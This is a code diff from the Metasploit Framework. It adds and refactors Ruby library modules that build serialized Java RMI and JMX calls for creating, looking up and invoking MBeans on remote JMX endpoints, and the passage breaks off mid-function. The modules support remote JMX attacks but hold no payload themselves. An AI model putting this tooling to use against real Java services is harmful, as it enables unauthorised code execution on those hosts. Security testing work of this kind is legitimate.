||||
data_binary
|
||||
]
|
||||
)
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: 0xadd256e7e91d7b47, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name)
|
||||
stream.contents << marshall_object
|
||||
stream.contents << new_array
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
|
||||
# simulate a call to the Java invoke method method.
|
||||
#
|
||||
# @param args [Hash] the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def invoke_arguments_stream(args = {})
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: 0x90ce589f1073296c, # serialVersionUID
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
values_type: 'java.lang.Object;',
|
||||
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << new_array
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
@ -1,89 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle data
|
||||
# used by Java JMX
|
||||
module Util
|
||||
|
||||
# Extracts a Rex::Java::Serialization::Model::NewObject from
|
||||
# a Rex::Java::Serialization::Model::Stream
|
||||
#
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from
|
||||
# @param id [Fixnum] the content position storing the object
|
||||
# @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise
|
||||
def extract_object(stream, id)
|
||||
new_object = nil
|
||||
|
||||
if stream.contents[id]
|
||||
new_object = stream.contents[id]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
unless new_object.class == Rex::Java::Serialization::Model::NewObject
|
||||
return nil
|
||||
end
|
||||
|
||||
new_object.class_desc.description.class_name.contents
|
||||
end
|
||||
|
||||
# Extracts an string from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the string from
|
||||
# @return [String, nil] the extracted string if success, nil otherwise
|
||||
def extract_string(io)
|
||||
raw_length = io.read(2)
|
||||
unless raw_length && raw_length.length == 2
|
||||
return nil
|
||||
end
|
||||
length = raw_length.unpack('n')[0]
|
||||
|
||||
string = io.read(length)
|
||||
unless string && string.length == length
|
||||
return nil
|
||||
end
|
||||
|
||||
string
|
||||
end
|
||||
|
||||
# Extracts an int from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||
def extract_int(io)
|
||||
int_raw = io.read(4)
|
||||
unless int_raw && int_raw.length == 4
|
||||
return nil
|
||||
end
|
||||
int = int_raw.unpack('N')[0]
|
||||
|
||||
int
|
||||
end
|
||||
|
||||
# Extracts an UnicastRef (endpoint) information from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Hash, nil] the extracted int if success, nil otherwise
|
||||
def extract_unicast_ref(io)
|
||||
ref = extract_string(io)
|
||||
unless ref && ref == 'UnicastRef'
|
||||
return nil
|
||||
end
|
||||
|
||||
address = extract_string(io)
|
||||
return nil unless address
|
||||
|
||||
port = extract_int(io)
|
||||
return nil unless port
|
||||
|
||||
id = io.read
|
||||
|
||||
{ address: address, port: port, id: id }
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
96
lib/msf/java/rmi/builder.rb
Normal file
96
lib/msf/java/rmi/builder.rb
Normal file
@ -0,0 +1,96 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Builder
|
||||
# Builds a RMI header stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :signature
|
||||
# @option opts [Fixnum] :version
|
||||
# @option opts [Fixnum] :protocol
|
||||
# @return [Rex::Proto::Rmi::Model::OutputHeader]
|
||||
def build_header(opts = {})
|
||||
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
|
||||
version = opts[:version] || 2
|
||||
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
|
||||
|
||||
header = Rex::Proto::Rmi::Model::OutputHeader.new(
|
||||
signature: signature,
|
||||
version: version,
|
||||
protocol: protocol)
|
||||
|
||||
header
|
||||
end
|
||||
|
||||
# Builds a RMI call stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Array>}]
|
||||
# @option opts [Fixnum] :message_id
|
||||
# @option opts [Fixnum] :object_number Random to identify the object.
|
||||
# @option opts [Fixnum] :uid_number Identifies the VM where the object was generated.
|
||||
# @option opts [Fixnum] :uid_time Time where the object was generated.
|
||||
# @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM
|
||||
# at the same time.
|
||||
# @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2
|
||||
# it is -1.
|
||||
# @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash
|
||||
# representing the method to call.
|
||||
# @option opts [Array] :arguments
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
def build_call(opts = {})
|
||||
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
operation = opts[:operation] || -1
|
||||
hash = opts[:hash] || 0
|
||||
arguments = opts[:arguments] || []
|
||||
|
||||
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new(
|
||||
number: uid_number,
|
||||
time: uid_time,
|
||||
count: uid_count
|
||||
)
|
||||
|
||||
call_data = Rex::Proto::Rmi::Model::CallData.new(
|
||||
object_number: object_number,
|
||||
uid: uid,
|
||||
operation: operation,
|
||||
hash: hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call = Rex::Proto::Rmi::Model::Call.new(
|
||||
message_id: message_id,
|
||||
call_data: call_data
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds a RMI dgc ack stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||
# @option opts [Fixnum] :stream_id
|
||||
# @option opts [String] :unique_identifier
|
||||
# @return [Rex::Proto::Rmi::Model::DgcAck]
|
||||
def build_dgc_ack(opts = {})
|
||||
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
|
||||
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
|
||||
stream_id: stream_id,
|
||||
unique_identifier: unique_identifier
|
||||
)
|
||||
|
||||
dgc_ack
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
@ -8,9 +8,15 @@ module Msf
|
||||
module Rmi
|
||||
module Client
|
||||
|
||||
require 'msf/java/rmi/client/streams'
|
||||
require 'msf/java/rmi/util'
|
||||
require 'msf/java/rmi/builder'
|
||||
require 'msf/java/rmi/client/registry'
|
||||
require 'msf/java/rmi/client/jmx'
|
||||
|
||||
include Msf::Java::Rmi::Client::Streams
|
||||
include Msf::Java::Rmi::Util
|
||||
include Msf::Java::Rmi::Builder
|
||||
include Msf::Java::Rmi::Client::Registry
|
||||
include Msf::Java::Rmi::Client::Jmx
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
# Returns the target host
|
||||
@ -50,12 +56,13 @@ module Msf
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @option opts [Rex::Proto::Rmi::Model::Call] :call
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_call
|
||||
def send_call(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_call(opts)
|
||||
nsock.put(stream.encode)
|
||||
call = opts[:call] || build_call(opts)
|
||||
nsock.put(call.encode)
|
||||
end
|
||||
|
||||
# Sends a RMI DGCACK stream
|
||||
@ -74,14 +81,15 @@ module Msf
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Proto::Rmi::Model::ProtocolAck]
|
||||
# @return [Rex::Proto::Rmi::Model::ProtocolAck] if success
|
||||
# @return [NilClass] otherwise
|
||||
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
|
||||
def recv_protocol_ack(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
begin
|
||||
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
|
||||
rescue ::RuntimeError
|
||||
rescue Rex::Proto::Rmi::DecodeError
|
||||
return nil
|
||||
end
|
||||
|
||||
@ -93,14 +101,16 @@ module Msf
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Java::Serialization::Stream]
|
||||
# @return [Rex::Proto::Rmi::Model::ReturnValue] if success
|
||||
# @return [NilClass] otherwise
|
||||
# @see Rex::Proto::Rmi::Model::ReturnData.decode
|
||||
def recv_return(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
|
||||
begin
|
||||
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
|
||||
rescue ::RuntimeError
|
||||
rescue Rex::Proto::Rmi::DecodeError
|
||||
return nil
|
||||
end
|
||||
|
||||
@ -109,8 +119,8 @@ module Msf
|
||||
|
||||
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @param nsock [Rex::Socket::Tcp]
|
||||
# @return [String]
|
||||
def safe_get_once(nsock = sock)
|
||||
data = ''
|
||||
begin
|
||||
|
23
lib/msf/java/rmi/client/jmx.rb
Normal file
23
lib/msf/java/rmi/client/jmx.rb
Normal file
@ -0,0 +1,23 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
require 'msf/java/rmi/client/jmx/server'
|
||||
require 'msf/java/rmi/client/jmx/connection'
|
||||
|
||||
include Msf::Java::Rmi::Client::Jmx::Server
|
||||
include Msf::Java::Rmi::Client::Jmx::Connection
|
||||
|
||||
OBJECT_NAME_UID = 1081892073854801359
|
||||
BYTE_ARRAY_UID = -5984413125824719648
|
||||
MARSHALLED_OBJECT_UID = 8988374069173025854
|
||||
STRING_ARRAY_UID = -5921575005990323385
|
||||
OBJECT_ARRAY_UID = -8012369246846506644
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
122
lib/msf/java/rmi/client/jmx/connection.rb
Normal file
122
lib/msf/java/rmi/client/jmx/connection.rb
Normal file
@ -0,0 +1,122 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
# This mixin provides methods to simulate calls to the Java
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub
|
||||
# interface
|
||||
module Connection
|
||||
require 'msf/java/rmi/client/jmx/connection/builder'
|
||||
|
||||
include Msf::Java::Rmi::Client::Jmx::Connection::Builder
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_get_object_instance
|
||||
def send_jmx_get_object_instance(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_get_object_instance(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to create an MBean instance. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_create_mbean
|
||||
def send_jmx_create_mbean(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_create_mbean(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to invoke an MBean method. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_invoke
|
||||
def send_jmx_invoke(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_invoke(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'java.util.HashSet'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
236
lib/msf/java/rmi/client/jmx/connection/builder.rb
Normal file
236
lib/msf/java/rmi/client/jmx/connection/builder.rb
Normal file
@ -0,0 +1,236 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Connection
|
||||
module Builder
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
# used to retrieve an MBean instance
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_jmx_get_object_instance(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
name = opts[:name] || ''
|
||||
|
||||
arguments = build_jmx_get_object_instance_args(name)
|
||||
|
||||
method_hash = calculate_method_hash('getObjectInstance(Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: method_hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Array]
|
||||
def build_jmx_get_object_instance_args(name = '')
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
arguments = [
|
||||
new_object,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, name),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new,
|
||||
Rex::Java::Serialization::Model::NullReference.new
|
||||
]
|
||||
|
||||
arguments
|
||||
end
|
||||
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
# used to retrieve an MBean instance
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_jmx_create_mbean(opts = {})
|
||||
name = opts[:name] || ''
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
|
||||
method_hash = calculate_method_hash('createMBean(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
|
||||
|
||||
arguments = build_jmx_create_mbean_args(name)
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: method_hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Array]
|
||||
def build_jmx_create_mbean_args(name = '')
|
||||
arguments = [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, name),
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::NullReference.new
|
||||
]
|
||||
|
||||
arguments
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
# used to invoke an MBean method
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
# @see #build_jmx_invoke_args
|
||||
def build_jmx_invoke(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
|
||||
method_hash = calculate_method_hash('invoke(Ljavax/management/ObjectName;Ljava/lang/String;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljava/lang/Object;')
|
||||
|
||||
arguments = build_jmx_invoke_args(opts)
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: method_hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :object the MBean name
|
||||
# @option opts [String] :method the method name
|
||||
# @option opts [Hash] :args the method arguments
|
||||
# @return [Array]
|
||||
def build_jmx_invoke_args(opts = {})
|
||||
object_name = opts[:object] || ''
|
||||
method_name = opts[:method] || ''
|
||||
args = opts[:args] || {}
|
||||
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
data_binary = builder.new_array(
|
||||
name: '[B',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::BYTE_ARRAY_UID, # serialVersionUID
|
||||
values_type: 'byte',
|
||||
values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*')
|
||||
)
|
||||
|
||||
marshall_object = builder.new_object(
|
||||
name: 'java.rmi.MarshalledObject',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::MARSHALLED_OBJECT_UID, # serialVersionUID
|
||||
fields: [
|
||||
['int', 'hash'],
|
||||
['array', 'locBytes', '[B'],
|
||||
['array', 'objBytes', '[B']
|
||||
],
|
||||
data: [
|
||||
["int", 1919492550],
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
data_binary
|
||||
]
|
||||
)
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
|
||||
)
|
||||
|
||||
arguments = [
|
||||
new_object,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, object_name),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, method_name),
|
||||
marshall_object,
|
||||
new_array,
|
||||
Rex::Java::Serialization::Model::NullReference.new
|
||||
]
|
||||
|
||||
arguments
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
|
||||
# simulate a call to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
# method.
|
||||
#
|
||||
# @param args [Hash] the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def build_invoke_arguments_obj_bytes(args = {})
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_ARRAY_UID, # serialVersionUID
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
values_type: 'java.lang.Object;',
|
||||
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << new_array
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
57
lib/msf/java/rmi/client/jmx/server.rb
Normal file
57
lib/msf/java/rmi/client/jmx/server.rb
Normal file
@ -0,0 +1,57 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Server
|
||||
require 'msf/java/rmi/client/jmx/server/builder'
|
||||
require 'msf/java/rmi/client/jmx/server/parser'
|
||||
|
||||
include Msf::Java::Rmi::Client::Jmx::Server::Builder
|
||||
include Msf::Java::Rmi::Client::Jmx::Server::Parser
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIServer_Stub#newClient()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Hash, NilClass] The connection information if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_new_client
|
||||
def send_new_client(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_new_client(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
remote_object = return_value.get_class_name
|
||||
|
||||
unless remote_object && remote_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
||||
return nil
|
||||
end
|
||||
|
||||
reference = parse_jmx_new_client_endpoint(return_value)
|
||||
|
||||
reference
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
73
lib/msf/java/rmi/client/jmx/server/builder.rb
Normal file
73
lib/msf/java/rmi/client/jmx/server/builder.rb
Normal file
@ -0,0 +1,73 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Server
|
||||
module Builder
|
||||
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIServer_Stub#newClient()
|
||||
# used to enumerate the names bound in a registry
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :username the JMX role to establish the connection if needed
|
||||
# @option opts [String] :password the JMX password to establish the connection if needed
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_jmx_new_client(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
username = opts[:username]
|
||||
password = opts[:password] || ''
|
||||
|
||||
if username
|
||||
arguments = build_jmx_new_client_args(username, password)
|
||||
else
|
||||
arguments = [Rex::Java::Serialization::Model::NullReference.new]
|
||||
end
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: -1089742558549201240, # javax.management.remote.rmi.RMIServer.newClient
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
|
||||
# to make an javax/management/remote/rmi/RMIServer_Stub#newClient call
|
||||
#
|
||||
# @param username [String] The username (role) to authenticate with
|
||||
# @param password [String] The password to authenticate with
|
||||
# @return [Array<Rex::Java::Serialization::Model::NewArray>]
|
||||
def build_jmx_new_client_args(username = '', password = '')
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
auth_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, username),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, password)
|
||||
]
|
||||
)
|
||||
|
||||
[auth_array]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
35
lib/msf/java/rmi/client/jmx/server/parser.rb
Normal file
35
lib/msf/java/rmi/client/jmx/server/parser.rb
Normal file
@ -0,0 +1,35 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Server
|
||||
module Parser
|
||||
# Parses a javax/management/remote/rmi/RMIServer_Stub#newClient() return value
|
||||
# to find out the remote reference information.
|
||||
#
|
||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
|
||||
def parse_jmx_new_client_endpoint(return_value)
|
||||
values_size = return_value.value.length
|
||||
end_point_block_data = return_value.value[values_size - 2]
|
||||
|
||||
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
|
||||
return nil
|
||||
end
|
||||
|
||||
return_io = StringIO.new(end_point_block_data.contents, 'rb')
|
||||
|
||||
